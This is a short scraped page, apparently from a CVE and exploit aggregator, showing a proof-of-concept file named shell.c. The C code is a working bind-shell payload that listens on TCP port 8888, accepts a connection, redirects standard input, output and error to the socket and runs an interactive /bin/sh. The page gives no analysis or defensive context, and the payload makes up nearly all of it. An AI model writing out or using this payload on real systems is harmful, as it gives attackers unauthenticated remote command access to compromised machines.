5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / shell.c C
// SPDX-License-Identifier: MIT

#include <stddef.h>
#include "linux.h"

struct sockaddr_in listenaddr = {
    .sin_family = AF_INET,
    .sin_port = 8888,
};

char *argv[] = {"/bin/sh", "-i", NULL};

__attribute__((noreturn)) void start() {
    int sockfd = -1;
    while (sockfd < 0)
        sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    while (bind(sockfd, &listenaddr, sizeof(listenaddr)));
    while (listen(sockfd, 0));

    int fd = -1;
    while (fd < 0)
        fd = accept(sockfd, NULL, NULL);

    dup2(fd, 0);
    dup2(fd, 1);
    dup2(fd, 2);

    while (1)
        execve(argv[0], argv, NULL);
}